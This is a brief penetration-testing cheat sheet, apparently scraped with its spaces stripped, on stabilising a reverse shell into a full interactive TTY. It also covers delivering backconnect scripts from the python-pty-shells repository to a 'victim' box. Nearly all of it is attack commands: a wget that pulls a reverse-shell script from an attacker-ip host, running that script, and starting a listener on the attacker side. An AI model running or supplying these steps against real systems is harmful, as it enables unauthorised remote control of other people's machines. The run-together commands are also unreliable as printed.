# In reverse shell python-c'import pty; pty.spawn("/bin/bash")'Ctrl-Z# In Attacker consolestty-asttyraw-echofg# In reverse shellresetexport SHELL=bashexport TERM=xterm-256colorsttyrows<num>columns<cols>
# Getting the scriptscd/optgitclonehttps://github.com/infodox/python-pty-shells# The scripts are:sctp_pty_backconnect.pysctp_pty_bind.pysctp_pty_shell_handler.pytcp_pty_backconnect.pytcp_pty_bind.pytcp_pty_shell_handler.pyudp_pty_backconnect.pyudp_pty_bind.py# On the attacker machineYOUMUSTEDITthetcp_pty_backconnect.pywithyourattackerIPandPORTfortherevserseshell!Thencopythescripttothevictimbox:python3-mhttp.server# And start the listenner:pythontcp_pty_shell_handler.py-bip:port# On the victim machinewgethttp://attacker-ip:8000/tcp_pty_backconnect.pypythontcp_pty_backconnect.py